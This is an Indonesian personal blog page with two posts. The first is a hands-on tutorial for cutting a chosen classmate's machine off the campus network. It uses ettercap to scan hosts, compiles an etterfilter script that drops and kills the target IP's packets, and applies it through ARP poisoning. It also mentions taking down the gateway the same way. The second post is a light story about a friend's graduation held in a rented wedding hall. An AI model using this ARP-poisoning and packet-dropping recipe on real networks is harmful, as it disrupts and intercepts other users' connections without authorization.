akhir2 ini gw lumayan dongkol dengan koneksi dikesekretariatan bersama dikampuz gw yang dimana jaringan internetnya dalam 1 jaringan.. awalnya kendalanya adalah client yang make hub dan sering ganti2 ip sementara sudah dapat jatah IP masing2. geram sih gw. tapi mau diapalah.. gw cuma bisa monitoring. untung gw make LINUX. hehe. lama kelamaan makin menjadi-jadi setelah keterangan dari wireshark menayangkan error yang sangat banyak, keterangan errornya adalah duplicate IP yang random. setiap hostname tersebut OL, pasti jaringan kacau. hostnamenya adalah “NUMPANK-OM”. ternyata komputer tersebut kena virus yang bikin kacau jaringan. inisiatif gw bagi tugas dengan temen gw aji. hehe, kayak FBI aja. dia ngecut koneksi dari IP yang bermasalah tersebut dan ngeflood balik. mau gak mau harus seperti itu, kalo nggak ya semua client pada kacau. tapi tetep gak kapok n kayaknya semua yang pake windus mulai terinfeksi.. (doh) payah ni sistem operasi satu nih. ya udah, gw coba cara yang menurut gw ampuh ini.. hehe. yaitu dengan metode ARP POISONING. gak usah dijelasin, langsung praktek aja yah. implementasinya begini :

(disarankan untuk memakai LINUX)
1. install ettercap
2. jalankan ettercap
3. pilih sniff -> unnified sniffing -> dan pilih interface yang terkoneksi tersebut.

Listening on eth1… (Ethernet)

eth1 -> 00:16:E6:DC:F1:DB 172.16.30.7 255.255.255.0

SSL dissection needs a valid ‘redir_command_on’ script in the etter.conf file
Privileges dropped to UID 65534 GID 65534…

28 plugins
39 protocol dissectors
53 ports monitored
7587 mac vendor fingerprint
1698 tcp OS fingerprint
2183 known services

4. kemudian pilih host -> scan for host (tunggu sampai scanning selesai.

Randomizing 255 hosts for scanning…
Scanning the whole netmask for 255 hosts…
30 hosts added to the hosts list…

5. kemudian pilih host -> host list
disitu ada list ip client yang sedang OL, contohnya salah satunya : 172.16.30.6 <- ini adalah IP victim yang akan kita putuskan koneksinya. klik di IP tersebut dan klik "add to target 1"

Host 172.16.30.6 added to TARGET1

6. kemudian buat file (terserah mau pake kate,gedit,atai apapun editor kesenangan anda) dan masukkan script ini :

if (ip.src == ’172.16.30.6′ || ip.dst == ’172.16.30.6′) {
drop();
kill();
msg(“Packet Dropped\n”);
}

nb : ip 172.16.30.6 disesuaikan dengan IP target anda
fite tersebut save ke dalam bentuk *.eft – ex: target.eft

7. convert file tersebut ke target.ef dan copy ke /usr/share/ettercap/
spyro@dhymaz-chua:~$ sudo etterfilter target.eft -o target.ef
spyro@dhymaz-chua:~$ sudo cp target.ef /usr/share/ettercap/

8. kembali ke ettercap, kemudiam pilih mitm -> arp poisoning -> centang “sniff remote connection” dan klik ok.

ARP poisoning victims:

GROUP 1 : 172.16.30.6 00:14:85:2D:50:3B

GROUP 2 : ANY (all the hosts in the list)

9. klik filters -> load a filter dan pilih file target.ef tadi yang telah dibuat.

GROUP 2 : ANY (all the hosts in the list)
Content filters loaded from /usr/share/ettercap/sekber.ef…

10. dan saya telah memastikannya, ngeping ke server lancar, ngeping ke internet lancar, ngeping ke ip victim lancar, tapi victim tidak akan bisa konek ke internet.

begitulah kurang lebih penjelasannya. selamat mencoba… (target yang saya serang dalam membuat artikelini menggunakan windows).
ettercap juga bisa dipakai untuk mematikan gateway. wow seremm.. haha.. masih banyak lagi yang bisa dilakukan oleh ettercap.. pinter2 explorasi aja yaa ^_^

regards : dhymaz_spyro

huffttt.. hari ini bangun jam 9.. agak sedikit pagi sih dari seperti hari biasanya.. hohoho.. bangganya dirikuw… eh baru sadar ternyata hari ini adalah wisuda kampusku yang diadakan 4 tahun sekali.. (4 ato 3 ya?? waa,, lupa aq.. blom pernah wisuda soalnya…) dan ternyata,, congrats dir HARMIN/Hari Wibowo,, satu2nya teman sekelas yang bisa lulus dengan 3stengah tahun kuliah.. selamat kembali berjuang brow!!! eits eits.. kok ada yg bisik2 dibelakang?? apa?? kapan gw lulus?? hohoho.. kalo gw mah lulus secara solidaritas.. biarkan kawan2 lulus duluan.. gag enak kalo gw yg duluan,, gw masih ingin melihat wajah2 bahagia kalian diwisuda.. hehehe..

sontak ada kawan angkatan 2005 dari daerah juga sih (orangnya gag mau disebutin namanya,, malu katanya.. takut namanya tercemar) wkwkwk.. namanya sandy.. (bukan sandy a*cc),, dia nelfon.. nanya gw dimana?? ya gw bilang aja dikost.. berikut kuranglebih percakapannya seperti dibawah ini (gw bahasa biasain aja ya,, kalo gw tulis pake bahasa daerah kagak ada yg ngerti.. hehe)

sandy : kok lu gag dateng?? kan lu aktivis kampus??
dhymaz : males gw,, ngapain coba?? jauh pulak.. mau ngeliatin sapa juga?

sandy : ****** lu.. bisa2nya lu ga dateng diwisuda gw..
Dhymaz : *pura2 kaget* woot… lu wisuda?? akhirnya lulus juga kawanku ini.. wkwkwk

—————————————————
critanya dipotong sampe bagian2 penting dan akhir aja.. banyak pembicaraan gag mutu soalnya.. hehehe

sandy : bonyok baru tadi pagi dateng, langung kehotel, ya udah, gw jemput aja ke graha s*rin* v*d*… (gag mau nyebut merk,, tar kena UU-ITE,, kan kalian juga yg susah ngumpulin koin.. wkwkwk (pede,, dikiranya ada yang mau bantuin.. :p)..

masih sandy : yang parahnya tau gak apa?? sampe digraha sewaan kampus itu, nyokap bilang, “ini kampusmu nak?? kok kayak tempat pesta pernikahan?? (sambil menunjuk graha sewaan tersebut)”.. (wkwkwk,, ngakak guling2 gw dengernya).. “bukan bu, ini tempat wisuda aja,, kampusnya disana.. jauh..” cetus sandy.. trus ibu bilang, “jauh2 dari makassar ibu tuh bukan mau liat tempat pesta ato apalah namanya itu,, biasanya kan wisuda itu dikampuz, bukan ditempat pesta, pokoknya entar antar ibu dan ayah liat2 kampusmu, ibu pengen liat tempat kamu menuntut ilmu selama ini itu seperti apa?”

————————————————————-
pembicaraan dipotong sampe sini ajah..
sumpah pas nutup telpon gw ngakak guling2 ampe sakit perut,, padahal lagi sariawan.. wkwkwkw.. ya emang sih,, kampuz gw masih sekecil itu, blom punya satu ruangaaaaannnn aja untuk wisuda ataupun seminar2 gitu.. masa wisuda harus nyewa *maaf* tempat pesta untuk wisuda mahasiswanya?? pas menengok kampus didepan kampuzku (emang sih kampusnya udah gede..) rasanya ngiri pengen wisuda, dilepas dikampus sendiri dimana tempat kita mendaftar dulu.. bukan di *maaf* tempat pesta yangs sering dipakai buat acara resepsi pernikahan…

sampe temen gw nyeletuk “”orang tua dateng kewisuda anaknya bukan mau ngeliat graha sewaan,, tapi pengen liat kampus anaknya yang ditampatin kuliah itu kayak bagemana?? masa mulai daftar dikampuz, lulusnya digraha sewaan?? kan gag lucu.. bahkan orang tuaku bilang, ini kampuzmu nak?? kok kayak tempat pesta pernikahan?? (sambil menunjuk graha sewaan tersebut)”"

padahal katanya sebentar agi kampusku mau bikin gedung lagi… gag tau deh mau dipake sebagai tempat bisnis alias amplas?? moga2 aja ada satu ruangan yang luaaaasssssss untuk seminar yang ada kursi mejanya ataupun tempat untuk wisuda… ya dengan kondisi kampus yang mahasiswa yang berjubal juga dengan perkiran yang sempit, pastinya kampuz pengen buat ruang kuliah lagi… tapi tergantung kebijakan kampus aja lah… emang gw siapa?? pengaruh gw apa? gw cuma mahasiswa tukang kritik.. yang kritiknya gag bakal didengar,, bahkan hanya dibuang dan ditertawakan.. :D

buat yang baru wisuda,,, CONGRATS YAAHHH….